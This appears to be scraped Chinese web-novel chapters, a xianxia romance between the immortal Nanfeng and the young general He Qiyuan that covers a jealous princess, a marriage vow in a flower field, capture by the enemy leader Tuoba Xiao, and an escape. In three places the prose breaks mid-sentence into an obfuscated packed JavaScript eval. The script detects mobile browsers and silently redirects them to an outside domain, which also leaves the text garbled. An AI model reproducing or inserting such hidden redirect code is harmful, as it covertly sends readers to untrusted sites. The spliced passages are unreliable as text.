与我一模一样的姑娘和身材魁梧的男人坐在贺祈源门外的回廊,神色沉重。 那副表情我再熟悉不过,是我每次陷入困境时的模样。 可我在苦恼什么?如果她是未来的我,那贺祈源的事她必然知晓;如果她是过去的我……旁边那个大高个儿是谁啊!不能是我的新欢吧?我的品味什么时候变了? “为何我会……不对,那不是我。可她的羽带和样貌,不会出错……如果她是我,那我又是谁?!” 脑海一片混沌。 我拼命回想,却怎么也不记得曾结识过这等人物,更不记得何时来过这贺府。 我怔怔望着“与我相似容貌之人”与那陌生男子嬉笑打闹、暧昧亲密,恍若置身一场荒诞梦境。 有种看自己为原型的情爱戏文…… 手指不自觉扣紧窗框,落一地鸡皮疙瘩。 突然! “我”不知为何朝这边望来!我吓得立马蹲身躲起来! 什么情况?她感知到我了?? 窗户下已然不安全,我贴着墙根挪动到紧闭的门前,拉开一点缝隙继续窥探。 不多时,两人便起身离去。最后一眼,我分明看见她臂弯间的羽带与我此刻臂上缠绕的,分毫不差。头顶的白梅步摇不曾见过,倒也适配。 “还真是我自己啊……” 我冲进书房,贺祈源惊愕地抬起头。 “少将军!你没事吧?” 他搁下毛笔,眼中闪过一丝诧异:“我为何会有事?” 我急急指向窗外,“方才没人进来找过你?窗外不曾有人经过?” 那两人叽里呱啦说了那么多话你一句没听见? 贺祈源顺着我的指尖望向空荡荡的庭院,摇头道:“没人呐。我方才还往外望了望,以为是你,结果没看见人。” 我垂下手,无意识地搓弄袖口。 贺祈源顿了顿,挪动着走近我,伸手捏着袖口沾去我额角的细汗,柔声询问:“倒是你,怎么慌成这样?方才去哪儿了?没遇到什么麻烦吧?” “无碍。”我舒了口气,“恍若梦境,感觉自己在做梦……虚幻得有些不真实。” 贺祈源低笑出声,撩起我的鬓发在指尖绕了绕,凑到我鼻尖,扫得人心痒痒的,笑道:“怎会呢?咱们俩好端端在这儿站着,怎会是梦?” 这突如其来的亲昵让我耳尖发烫,对上他含笑的眼眸,宽了些心。 “你说得对,哪儿有清醒梦的。” 他脸上掠过一丝小小的情绪,但在我捕捉之前完美隐藏。 “对了姐姐,你来看这个!” 我轻轻翻动着他递来的画册,每一页都绘着姿态各异的白梅。我蓦地转身,望向身后叉腰而立的少年,惊叹道:“你竟画了这么多白梅?若拿出去卖,怕是要被抢购一空!” 贺祈源闻言,唇角扬起一抹羞涩的笑意,低声道:“还不够。我最终想画的……是梦中的那座白梅孤岛。” 我眼睛一亮,“你是说,茫茫海面上,独独一座开满白梅的岛屿?!” 然后,贺祈源向我讲了那座隔着宛若地狱旷野的孤岛。 “姐姐,待会儿陪我去躺校场吧。” “好,不过去那里做什么?” “安排点事情,一刻钟的事儿。结束后我带你去街上走走。” “好。” 贺府门外,娄苶牵着骏马等候。我环顾一圈,不见孤马以外其他代步之物。 “你骑马,我走路?”我蹙眉望向贺祈源。 他闻言偏过头来,忽地绽开一抹促狭笑意:“当然是我们一起骑马了。” 我惊得连连后退摆首:“不成不成,太招摇!我会被群起而攻之的!” “凭我的骑术,路人还未看清马上是谁,我们早踏碎十里烟尘了。” 我哭笑不得地看着面前一本正经的贺祈源,一时不知该说什么好。 牵马的娄苶满脸疲惫地看向我们,开口道:“三少爷,可以出发了吗?” 未至校场,已闻金戈叱咤之声。贺祈源步履从容在前引路,我踌躇再三,还是决定留在门外等他。 “军机要地,我不便进入吧?” “无妨无妨,你跟着我,不会有事的。” “这……” 见我局促,他倒也不勉强,说了句若我想进只管进去,他会给守卫打声招呼。 望着他背影离去,我寻思着去哪儿解解闷。这时,一辆熟悉的马车停靠在我面前。 马车帘帐轻掀,一位华服女子在侍女搀扶下款款而下。她戴着素白帷帽,薄纱随风轻扬,隐约可见精致的下颌线条。 “清漪公主?”我微微讶异。 帷帽下传来一声轻笑:“仙子为何在此?不是说有急事要办?” “确实如此。” “仙子的要事怎么找到贺府了?” “因为找贺祈源,就是我的要事。” 清漪公主声音陡然转冷,问道:“仙子可还记得在东凉皇宫我说过的话?” 本想直言记得不清,可看到清漪公主愠怒的神情,我竟心虚到说不出话。 她几乎咬碎牙根,深呼吸后道:“我与贺郎情投意合。此番他回京,也是为了与我的婚事。仙子这一弄,是要截断我的姻缘吗?!” 一阵凉风浮起她面前的白纱,显露半数怒气。 我沉下气来,尽量让自己的话听上去心平气和。 “我与他并无私情。不过边关危机,来告知他速速回去罢了。” “那为何还住进了贺府!”她突然掀开帷帽,露出那张因愤怒而绯红的脸,“仙子当真不知自己是何模样吗?试问这张脸摆在哪个男人家里会不招人喜欢?!” 我顿时心生狐疑,她怎知我住进了贺府?贺祈源不过好心收留我,她话中之意,倒像那少将军要为了我解除与公主的婚约似的。 我挺直腰背,理直气壮道:“我与公主没法说明。不过我清清白白,问心无愧!” 生怕给清漪公主的怒气火上浇油,我没立刻拐进校场,而是愣在原地,逼她先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056826|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。毕竟身为公主,岂能在市井出没。清漪公主气得嘴唇哆嗦,愤愤离去。 “唉,小姑娘真难伺候。” 校场守卫见了我竟未阻拦,想是贺祈源早有交代。我躲在校场旁,望着高台上的少年。 宛如利刀出鞘,在贺祈源指令落下的瞬间,校场上所有士兵昂首挺胸,以极其响亮的吼声应下后快步散开。 待场中只剩我和贺祈源两个人时,我迈步走向他,他转过头来,见我挑眉露出一副不可思议的表情,眼中闪过一丝柔色和骄傲,手背碰了碰我的。 “发什么愣呢?” “没,只是被刚才少将军的英姿震撼到了,难怪城中百姓都夸少将军好,无论男女都心悦于你。” 连清漪公主也是。 贺祈源脸色忽地变得凝重,“你看你,又皱眉头。” 我抬手揉开眉间的紧蹙,问道:“我担心阿婆,我们何时出发?” “后天。” “……好。” 贺祈源俯身占据我的视野。 “不必担心,尚有军马驻扎,东凉人不敢轻易进犯。村庄一事……待我回去,定会问责!” 少年将军凝眉,不可震慑的威严。 我一时间竟不敢再看那双眼眸,连忙别开视线,落向空旷的校场。 “姐姐为何心事重重的样子?方才在外遇到什么事儿了吗?” “不是……”我眼神涣散,心绪纷乱如麻,“也是吧。” 他稍作沉吟。 “姐姐饮酒吗?” “啊?” 入夜,贺府后院池水边的凉亭,我撑着脑袋,望着不远处的爬杆发愣。 贺祈源拎着一壶酒来到我的面前,揭开盖子,浓郁的香气裹挟着周围每一寸空气扑鼻而来。 “好香啊!”我不由凑近了些深吸一口。 酒过三巡,月光在我们之间流淌。贺祈源突然不安地转动着酒盏,目光游移在亭角的宫灯上。 “姐姐……可有婚约?” 我微微一震,莞尔一笑道:“我可知道你与公主早有婚约。” 他眸色骤然暗沉:“你知道啊……” 话音未落,他仰头饮尽杯中酒。酒盏重重落在石桌上时,那双总是含笑的眸子已燃起灼人的火光。 “那!若我想娶你,姐姐会同意吗?” 我神色焦灼,忙道:“违抗圣旨……吗?” “我有军功在身,陛下会准许的!” “你疯了不成?说什么大逆不道的话。那是金枝玉叶的公主,岂是你说退就——” “可我心悦的是你啊!” 他望着我,天生带笑的嘴角褪去所有笑意。 我曾见过类似的神情,在某个星河迢迢的夜里,月下竹前的小院里,蓬莱第几宫潮湿的气息里……不安的心大概感知到他接下来要说的话,身体不自觉地后挪。 贺祈源见我想逃,忽地扣住我的肩膀。他顺势覆过来,脸庞停在咫尺之处,不给我任何逃离的机会。 “姐姐当真……从未察觉我的心意吗?” “你我不过相识几日,何来心意?” “一见钟情,难道就不是情了吗?” “我——” 酒气扑面而来,他炽热的呼吸近在咫尺。我攥紧裙裾,逃无可逃。 这……可如何是好?! 114. 日暮风吹 贺祈源微微顿了一下,回眸看我。 “喝酒?什么时候的事?” “……” 忘得一干二净吗。 不过也好。 我换了个舒服的姿势,后背靠上马车的门框,敷衍道:“梦里,梦见我跟你喝了几坛。” 他若有所思地侧过头看我一眼,嘴角扬起些许弧度。 “姐姐还是第一次跟我提自己的事。” “梦而已,也没什么。” “那也是第一次,我现在特高兴,想啪地让马儿再跑快点!” “……” 昨夜酒过三巡,贺祈源说了堆莫名其妙的话后,毫无征兆地趴在石桌上睡着了。招呼来娄苶把他带走后,我独自又喝了几盏,等到有困意后方回卧房休息。 谁料这孩子醒得颇早,天一亮就招呼人套马,说与我提前一日出发。 迷迷糊糊上了车,颠簸中睡了一觉,饥肠辘辘醒来后想问膳食安排,脱口而出反倒问起了昨夜的酒话。 我坐在他侧后方的马车内,而他坐在前头赶着马。商道平坦,车马跑得飞快。蜿蜒泥泞的山路他便降下速度,确保我的安危下平缓通过。 明明告诉过他不用顾虑我的,晓得我是神仙还把我当平凡姑娘对待,真是…… 罢了,随他吧。 我跪直身子,悄悄挪到他背后。掌心变化出一根红绳,缠绕上他束在头顶的发。 “嗯?什么?” 他扭头想看,我按住他的头。 “别动,等我系好再看。” 系好也看不到,这马车上没有镜子。 我绕着他乌黑的发丝打了个精巧的结,那抹艳红衬得少年愈发英挺。欣赏着自己的杰作,我不禁感叹:“不出我所料,少将军和赤红果然般配。” 又坐到他身旁,我从怀中摸出一枚温润的玉佩,不由分说塞进他衣襟里。 “这是什么?让我看看!”他急得要去掏。 我按住他躁动的手,“专心赶车,等下再看。” 他委屈地撇嘴:“唔——怎么能这样!下个驿站还有一个时辰呢,我等不及了!” “玉佩!” 驿站,贺祈源坐在我面前,始终含笑盯着我塞到他怀里的东西,时不时傻笑乐呵,完全一副兴致盎然的模样。 我抿着茶打趣道:“少将军莫非第一次见玉佩?” 他指尖轻轻摩挲着玉面,眉眼深情道:“姑娘送的,确实头一回。” 我心头微动——清漪公主竟从未赠过他信物? 他突然凑近,眸子亮得惊人:“姐姐跟我讲讲?为何送我这玉佩?” 我指着玉佩上的纹样解释道:“松柏长青,仙鹤延年,水源不竭,棋子……”话顿了顿,“都是你名字里的意象。” 他郑重其事地将玉佩贴在胸前。 “我会珍藏到死的那天!” 我嗔怪道:“太沉重了吧……保个平安,替你挡灾。” “莫非姐姐施加了仙术?” “略施小术罢了。总而言之,若你遇着危难,需要它时,自会护你周全。” “如果我一直不需要呢?” “它便一直在。” “那我宁可一辈子用不上它。”他脱口而出,目光灼灼地望着我。 “……” 我的心不经意间被他自然而然流露的真挚与热忱轻轻捂了一下,闷闷的,热热的。 好像,是生病了呢? 除了夜里在稍作歇息,我们几乎马不停蹄赶回边关。 通常我睡车内,他守在外头,怀中抱剑时刻警惕。 “真的能休息好吗?” 这夜,我忍不住掀开车帘,轻轻推了推闭目养神的少年,招呼他去内里休息,我来守着。 他立刻睁开眼,眸中毫无睡意:“姐姐辛苦一天,该好好休息。” 到底是谁辛苦一天呐,我在车头坐了一天啥事儿没干,累啥呀。 我无奈叹气:“我说真的,小心身子累垮。” “姐姐在关心我吗?”他突然扬起嘴角,那笑容在月光下格外明亮。 “知道就乖乖领情。好歹我也是个仙,护住这辆马车的本事还是有的。不必担心,安心睡吧。” “那……可是……” 见他还要推辞,我作势抬手:“再可是我只好打晕你,强迫你睡觉了。” 贺祈源立刻抱拳,笑得像个领了奖赏的孩子:“遵命!” 看着他终于躺下的身影,我轻轻挥袖,在马车周围布下一道淡淡的结界。夜风拂过,带着边关特有的干燥气息。 不知为何,守着这个“固执”的少年安睡,竟让我心头涌起一丝说不清的暖意。 “奇怪,为何会有罪恶感消褪的错觉?” 远远望见马车驶来,阿婆吓得一个激灵,踉踉跄跄就往地窖里钻。直到听见我熟悉的呼唤声,才颤巍巍地探出头来。 阿婆拍着胸口直喘气道:“吓死我了!还以为又是那东凉老贼!” 我连忙搀扶阿婆,正要介绍身旁的贺祈源,谁知老人家一听“少将军”三个字,扑通一声就跪了下去,任我怎么拉都拉不起来。 更让人猝不及防的是,贺祈源竟也单膝跪地,抱拳沉声道:“末将无能,让乡亲们受苦。定当为全村讨回公道!” “啊?”阿婆一脸茫然地抬头,“他们没死啊,就是被东凉人抓走了,也不知道关在哪儿……” 贺祈源猛地僵住,眨了眨眼,缓缓转头看向我。我立刻别过脸去,假装研究天边的云彩。 “我也没说是……死……了啊……” “……” 天地良心,我真说过吗?应该……没有吧? 暮色渐沉时,贺祈源说筋骨都要僵了,提着剑到院前的空地舒展身手。 他挽了个剑花收势,剑穗上的明珠尚在晃动,衬得马尾高束的背影越发挺拔。 阿婆提了壶茶走到我身侧,眯眼笑叹:“老婆子活了大半辈子,从没见过这般玉树临风的江湖郎君,姑娘好福气啊。” “我们……不是那种关系。” “能把少将军请回来,又这般体贴入微,还说不是?” 我顿时红了脸,没敢接话,只将目光沉浸在少年的英姿中。 那夜,贺祈源说的话到底几分真、几分假?他当真会为了我去解除与公主的婚约?可我不见得会答应他,不至于走到那一步吧? 更何况清漪公主说过,他们二人情投意合…… 我是不是干了件不得了的事啊…… 贺祈源收起剑走向我们,道谢接过阿婆递上的茶。我还沉浸在自己的思索中,眼神呆滞地看着他。 他歪了歪头,在我面前走过来走过去,我的眼睛始终追随他,愣神得更厉害了。 贺祈源轻蹙眉头,直接端起茶盏抵上我的嘴唇,不轻不重,成功引起我的注意。 “怎么了?” “姐姐你呀,总爱多愁善感,眉间皱纹都有了。” “真的?!” 我慌忙伸手去抚平。 “逗你的。” “……” 我猜想是习武之人的敏锐,我所有的心不在焉总瞒不过他,且被他第一时间察觉、化解。 “对了姐姐,明日跟我去个地方吧,我带你看个好东西。” “都说不用叫我姐姐了。” 他眼中闪过愉悦的笑意,说:“可每次我叫你姐姐,你都会开心,我也就乐此不疲了。” 开心?我……有吗? 指尖不自觉地抚上微微上扬的嘴角,这才惊觉自己竟真的在笑。 “可军营那边没问题吗?不该赶着回去?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056827|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“放心吧,我捎了信去,有事到此寻我便是。” 什么时候捎的?我竟一无所知。 贺祈源始终不说带我去哪儿。 策马带我穿过蜿蜒的山路,忽然眼前豁然开朗—— 漫山遍野的金色花海在夕阳下燃烧,一直绵延到天际。他勒马停驻,转身朝我伸出手:“姐姐来,我扶着你。” 我被他扶下马背,只见他大步走向花海中央。晚风拂过,他束发的红色飘带在风中猎猎飞扬,棕色的发丝镀上一层金边。 “南风——总有一天!我会站在敌人的尸骨上,让全天下都看着我,知晓我的名字!” 他的声音混着风声传来,在那一瞬间,连无边的花海都成了他的陪衬。金色的光晕中,我恍惚觉得,自己也被这耀眼的光芒所吞噬。 他背对着落日的身影宛若天神临世,拥有征服世间的力量, 好像,连我也被他征服。 他忽然回头,朝我绽开灿烂的笑容。我怔怔地抬手挥了挥,却见他误会了我的意思,大步流星地朝我奔来。 “怎么了?” “没,我在和你打招呼呢。” 他粲然一笑,突然握住我的手:“那跟我来!” 掌心传来的温度让我来不及反应,就被他拉着奔向落日。衣袂翻飞间,不知跑了多远,可放眼望去,这片花海似乎永无尽头,我们的每一步都踏在怒放的花朵上。 “我很早之前就想带你来。” “很早?多早?” “见到你的第一眼。” 贺祈源盯着远方,不知是夕阳晒得他脸通红还是别的原因,红晕从脸颊一直蔓延至耳根。 看着少年羞涩的模样,我也忍不住同他打趣。 “一起强身健体吗?” 他扣住我的手,与我十指相扣。 这是他第一次如此大胆地与我肌肤相触。 “想告诉你我的心意” 他转身面向我,继而握住我的另一只手。 “待我功成名就之日,必以山河为聘,日月为证。待那时,我要让九州四海都传颂你的芳名,以这万里山河作妆奁,风风光光迎娶你过门!” 贺祈源的眼眸里,写满了认真。 话语间流露出的诚恳,承诺的每一个字都带着他深切的爱意叩响我的心弦。 “万里山河,九州四海……” 我不自觉跟着喃喃。说来可笑,不过抢了公主的男人,确实会让全天下都记住我。 许是被少年的真挚打动,没有一丝犹豫,我用力点了点头。伸出小指,欲与他签字画押。 “我答应你,此生不成来世也行。啊!我不是咒你的意思!我的意思是……万事不能随人心意,假如!我说的假设啊!此生错过,来世我会主动来寻你的。” 我不好意思地垂下头,羞红了脸。 “轮回之后,你或许忘了我,可我还记得。” 我可是仙,堕不入地府,入不了轮回,不会忘记的。 贺祈源明白我的意思,高兴地扣住我的小指。 两根手指紧紧相扣,在夕阳与花海的见证下,许下诺言。 贺祈源像是获得了绝世的珍宝,就着我的腰将我抱起举过头顶,在空中连连转了几圈。 金色世界里的他笑得格外灿烂,欢呼之余不忘喊着我的名字。 “南风!!你一定要嫁给我啊!!!!” 我沉溺在这份无私给予的爱意里,忘记了所有。忘记了我重新回到这个世界的目的,忘了我是谁。 更忘了所有人同我说过的话。 现在,从此刻起,我只想与他相拥,等待他功成名就的那天。 太阳西沉,无边的花海,象征着夜的云,正在慢慢吞没最后一丝光。 以及…… 吞没完美梦境的最后一折戏。 115. 高城望断 在这个仿佛看不到尽头的漫天花海中,我和贺祈源站在土坡上,从日落前望到山雨欲来。 云海之巅,白雾茫茫,我望着那片虚茫出神,直到冰凉的雨丝落在脸上。 贺祈源轻声道:“回吧,待会儿着凉了。” “嗯……” 他指尖微动,却在瞥见我神色时悄然收回了欲牵未牵的手。 “姐姐在想什么?想那么入神。” “没想谁。”微沉若思,我含笑看向贺祈源,“我们走吧。” 雨幕渐密,将我们的背影模糊在迢迢归路上。没察觉到我不小心走漏的心声,坦白了我在想谁。 某日暮色四合时,田野间的蛙鸣阵阵,天空泛起火烧云,一点点浸染蓝天。屋外传来马蹄声,三人一同望向门外。 贺祈源大步走出,只见一名风尘仆仆的士兵利落下马,单膝跪地,三言两语便将前线军情禀明。 当他再转身进屋时,眉宇间已凝上一层寒霜。门外的人马肃立等候,战马的响鼻声在暮色中格外清晰。 我心下了然,问道:“要走了吗?” 贺祈源沉重点头道:“战事告急,营中又生变故。我必须即刻回营助兄长一臂之力。”顿了顿,又急急补充,“但等局势稍定,我定快马加鞭回来见你!” “将军可要信守承诺,平安归来啊。” “嗯!我一定会的!等我。” 临别前,他忽然握住我的双手,掌心传来的温度灼得人心头发烫。 “姐——南风。” “嗯,你说。” “我想——” 最后一句未说全,人已翻身上马。 残阳如血,将他策马远去的背影拉得很长很长,直到消失在漫天霞光之中。 他想?他莫非想亲我?不会吧…… 一晃半月。 残阳将褪色的窗花映成血色,我指尖抚过斑驳褪色的‘囍’字,即景生情,忽想起那少年曾说的话。 心头萦绕着强烈的异感,有什么催促着我去寻他,定要寻他。 “我果然……还是去寻他吧。总担心他会出什么意外,我也好帮他。” 身旁的阿婆劝道:“刀枪无眼,你去该有多危险呐!” “可是——” “安心呆这里等他回来吧。少将军既许了你,就定会全须全尾地回来!” 我当然相信他会恪守诺言,可假如天意不遂,贺祈源岂不是有危险!拓跋枭的性子我知道,野蛮无理、嗜血如命,若他亲临战场,贺祈源再厉害也不一定打得过他。 思及此,我不敢耽搁,趁着夜里阿婆入睡,将羽带留下后赶赴军营。 没了羽带指引方向,白痴一般的南风仙子码不准方向,在荒野里跌跌撞撞地乱闯。正懊恼着辨不清方向,忽听得身后马蹄声如雷—— 铁蹄扬尘,数匹烈马将我团团围住。为首的骏马喷着响鼻踱步而来,马背上那人逆着光,投下的阴影将我完全笼罩。我不得不竭力仰头,才看清那张刀刻斧凿般的面容。 “赵风?” “拓跋枭?!” 我攥紧拳头,双腿战栗,竟忘了逃走。 拓跋枭居高临下地睨着我,忽然从齿缝间挤出一声冷笑:“你可让我好找啊。” 自我逃去霜洲地界后他竟又去找我了?不是已经确认我是游魂了吗? 我捏紧拳头,强压着颤抖问道:“你没把夏逸飞怎么样吧?” “夏逸飞?”拓跋枭骤然目眦欲裂,“你如何认识他的?” 他在说什么呢?我怎会不认识夏逸飞? “回答我,你如何认识夏逸飞的?!” 我无语轻笑:“不是你让他来军营接我去的东凉吗!” “军营?” 他摆出一副当真不晓得我在说什么的莫名其妙脸。 拓寒光一闪,他已然翻身下马。粗糙的大手猛地揪住我的衣襟,将我整个人提了起来。皮革与铁锈的气息扑面而来,那双鹰隼般的眼睛近在咫尺。 “罢了。既然让我抓到你,休想再逃。敢从我拓跋枭手里逃走,赵国公主是当真不怕我踏平赵都啊!” 我奋力挣扎,布料在撕扯中发出不堪重负的声响。 “你不是认出我不是公主,又说什么胡言乱语!” “你不是公主?”他眼神陡然锐利,“你到底是不是赵风?” “什么赵风,我——” 有什么戛然而止。 一阵剧痛突然袭上太阳穴。视野开始扭曲,拓跋枭的脸分裂成三个模糊的影子。 待视线重新聚焦时,脑中一片混沌。 拓跋枭逼近掐住我的下巴:“快说!你如何认识夏逸飞的?” “夏逸飞?”我蹙眉眨眼,“那是谁?” “……” 拓跋枭的眉头拧成死结,突然将我整个扛上肩头。 我拼命捶打他的后背。 “啊!你干嘛!放我下来!” 他狠狠拍了下我的屁股。 “再装疯卖傻,我就地办了你!” 【祈离源殇】 军帐里。 “卯时并非吉时,将军要不选在辰时?吉时可利大军——” 年轻的将军一脚踢翻沙盘,踩在掀翻的桌子边沿:“敌军压境还在争论吉凶时辰?!这等肤浅无聊的迂腐之见,不如留着给你们自己刻墓碑!” 众人噤声,气氛肃杀。 此时,军医走进,高大威猛的躯体给原本压抑的气氛更添几分寒气。 宁安桥扫视一圈,偏头示意暂退。众将如蒙大赦,仓皇退去。 贺祈源怒目圆睁一拳砸在柱上,愤慨道:“我才回京多久,一个个就成这副样子!我要是死了,他们还不得鬼迷心窍,接连败仗!” “冷静,怒气降智,小心乱了分寸。” “什么地方来的巫师?人抓到了吗?” “东凉派来的,已经处决。之前营中相传所谓巫蛊食心之术,我查过了,不过是把活蝎塞入伤兵口中。” “这群白痴这都信了?!那么想死?!” “那妖人假称以毒攻毒,求生之人哪还辨得清真伪。” 贺祈源突然沉默下来,烛火将他紧绷的侧脸映得忽明忽暗。 他垂手思索:“恐怕不止巫师蛊惑这么简单,拓跋枭肯定还谋划了什么。” 清冷的帐内,贺祈源转身坐到椅子上,目光如死水般沉寂,一动不动。宁安桥久久凝视着他,待他作出决定。 “将军!” 帐外传来喧闹声,门帘掀开有人明晃晃地闯进来。 贺祈源霍然起身:“阿婆?!太危险了!您怎么一个人来军营?南风呢?” 阿婆苍老的手死死攥住贺祈源的手臂,喘着粗气道:“她担心你出事,一个人跑来寻你。可我那日好像看到东凉军,生怕她出什么事儿,就赶来找你了。” 贺祈源反手扶住阿婆,压住躁动轻声安抚道:“好,我立刻去寻她。阿婆暂且在营中歇息,待会儿派人送您回去。” 安顿好阿婆后贺祈源马不停蹄出发。 宁安桥抱臂倚在帐门处,望着贺祈源旋风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“到底是为了一己私欲啊,自私的仙人。”黑无常讪笑,“他死,你又救他,救下后,又许他们重逢……纳了闷儿了,闲得无聊?仙长才多大年纪,就耐不住年岁了?” “桑竹仙子的预言中,最后一句虽不完整,但大意明了。唯有此举,可抵圆满。” 两度生,两度死,方可揭晓两道情劫,何为正缘。 黑无常冷眼讥讽:“可怜的仙子啊,选择我多好。” 柳砚清横他一眼,黑无常不以为然继续道:“与我共沉沦,做阴间双宿双飞的阴鬼。地府可没人界仙界那么多事端。” “你对南风……真心?” “不会吧?这次要让给我?” “做梦。” “开玩笑呢。仙长的占有欲,我可不敢轻易冒犯。若真要抢,你们不见得抢得过我。”低沉森然的笑发出,黑无常在柳砚清身后踱步道,“看她对你痴心一片,于心不忍,忍痛割爱,爱不能得,得不偿失啊。” 柳砚清置若罔闻,黑无常骇人的脸猛地逼近。 “我可都清楚的。什么桑竹仙子,什么预言,什么圆满结局,皆是仙长的幌子罢了。” 两双眼睛如利刃般隔空相抵,瞳孔里迸溅着无声的火星。仙人的眼风像淬了冰的刀锋刮过对方眉骨,阴差的视线则如烧红的铁钉狠狠凿进前者眼底。 空气在两道目光的绞杀中噼啪作响。 “为了试探她对你的真心,仙长真是做尽了缺德事啊。” 116. 春色融融 确认拓跋枭熟睡后,我隐去自己的气息,悄悄挪向门口。 我不敢使用仙术把自己变回贺祈源身边,生怕被神界的仙发现,通知爹爹把我抓回去。羽带也留在阿婆家好保护她,只能靠自己的力量躲开帐外的守卫逃跑了。 月明星稀,正是困意上头的时候,哪怕值守的守卫也忍不住连连打哈欠。 此处距离赵国的军营不算太远,一路奔走,天不亮便能抵达。 我虽然不认识路,平常出门全靠羽带指引,但朝着南边走肯定不会错。 尽管我靠猜的。 从拓跋枭的军帐中全身而退,我咽不下这口气,出门后踹翻堆砌在一旁燃烧的篝火,引燃帐布纵火军营。熊熊火光照亮黑夜,就连数里外都看得到。 踏着明路我一路狂奔,跑得极其顺畅,全然不管身后此刻乱成什么样。 直到视线中闯入一抹熟悉的身影。 “少将军!” “南风姐姐!” 相对狂奔的人撞在一起,我稳稳地闯入温暖中,被他接住。 “你来找我了吗?” 他一时不语,只安静地望着我。反倒我原本还沉浸在喜悦中,愈发被他看得不自在。 “别……一直看着我啊,你说话呀。” 贺祈源眸中盈满笑意,悄无声息地靠近,捏住我的指尖。 “吓死我了。还以为你……担心死我了。” “别死不死的,我好不容易死里逃生呢。” 黄沙漫天,我们相拥彼此,舍不得分开。 可局势不等人。 贺祈源口哨呼来战马,拦腰将我抱起翻上马背。 “我们去哪儿?” “这里最近的是环州,我们去那儿。” “好!” 抵达环州时,天光破晓。倦困的两个人决定找间客栈歇息。 “一间房?一张床?!” 纯情少年的脸嗖的涨红,感觉下一瞬便会充血过多晕厥过去。客栈老板深表歉意,说愿意给我们多一床被子。 我正准备答应,贺祈源突然把我拉到一边。 “今日,我不叫你姐姐,你也不许叫我少将军。” 有些诧异此时此刻他突然提出如此要求,我忍不住问道:“为何?” “怕别人误会……” “误会什么?” “误会我跟你……是姐弟关系。” 我偷偷看了眼客栈老板,又看看贺祈源。 这孩子,一个人想得还挺复杂。 “你当真这么想的?”我歪头故意逗趣他。 被我识破的少年羞红着脸,偏过头留给我一条精致的下颌线,道:“……不是。” 就喜欢看纯情少年害羞的样子。 我抿唇偷笑,伸手戳了戳他微微充血的脖颈。 “罢了,我答应你了,祈源。” 贺祈源揉了揉鼻尖,支支吾吾道:“南……南风。” 虽然我清楚贺祈源不会对我做什么,但手还是不受控制地悄悄攥紧了被褥的一角。暗自期待着什么发生…… 迟迟没有动静,我睁开眼描摹相隔较远的那张脸。 他快要滚下去了…… 不止隔得远,他甚至拿了床被子隔在中间。到底是怕自己行不轨之事,还是怕我对他不轨啊? 似乎是一边手臂压着不舒服,贺祈源闷哼着转过身来,将睡颜摆在我眼前。 好想捏一捏。 细细想想,我这不趁人之危吗! 正要收回手,手指却被他顺势捉住。 “南风。” 扑通、扑通、扑通。 什么在响?我的心吗?我又不是纯情少女,紧张个啥! “安心睡吧,我不会越界的。” “……” 一觉结束,他当真一点界都没越。 睡了一上午,天突降暴雨。我们决定在环州逗留一日,明日一早去山上的寺庙拜拜。 清晨的阳光洒在柔软的被子上,雨后的阳光格外明亮,客栈的窗户被打上耀眼的光,我懒懒地伸了个懒腰,睁开眼迎上那张偷笑装睡的脸。 “我知道你醒啦。” 他睁开闪烁着光芒的眼睛,柔声道:“南风姐姐早!” “自己定的规矩,忘了?” “我说的昨日,此刻是新的一天。” 我被他的强词夺理哽住,无可奈何地笑了声。 空气中,清晨的湿气弥漫,濡湿润湿了环州府小石街上的细绒青苔。 登高途中,我三步并作两步沿着台阶向上,忍不住深吸了一口雨后的空气,任由那股沁人心脾的湿润占据呼吸。 “祈源,你听!” “寺庙的钟声吗?” “嗯!” 隔着竹林,微微的钟磬音传入耳,寺庙墙上印着斑驳树影,我驻足聆听,声音似乎想飘向更远的地方。 我回神,看向身后稳步行进的人。 贺祈源步履沉稳,面容轮廓都被朝阳所勾勒,爬过半山,他倒一点不觉得累。 “少将军体力就是好。” “累了吗?我可以背你。” “等我一步也走不了了,就麻烦少将军啦。” “不麻烦。我巴不得……咳咳,巴不得一路背着你。” 只是两三级台阶的距离,我看着他的五官轮廓一点点被清晨丝线般的光缠绕洇染,微微勾唇,捏住我的指尖。 红墙黛瓦松竹流水,都浸润在朝物中,像他画卷中的山河美景,徐徐展开。 “祈源。” 我们并肩坐在寺庙后山的一块青石上,望着山下人间。我出声唤他,他看向我。 “若是信得过我,可愿把心事讲给我听?” 贺祈源轻笑:“何来的心事?我正欣赏山河美景呢。” “骗人。”我伸出食指点了下他的鼻尖,“我法力薄弱,虽帮不上你,但接收你的苦水,还是做得到。” 他勾着唇角沉下眸子。 “有位从小一同长大的友人……触犯了军令。” 军令如山,凡违者斩无赦。 贺祈源的部队驻扎在偏西的位置,与贺祈骁、贺祈安的军营相隔较远。两军随时有情报往来,以便随时出军支援。 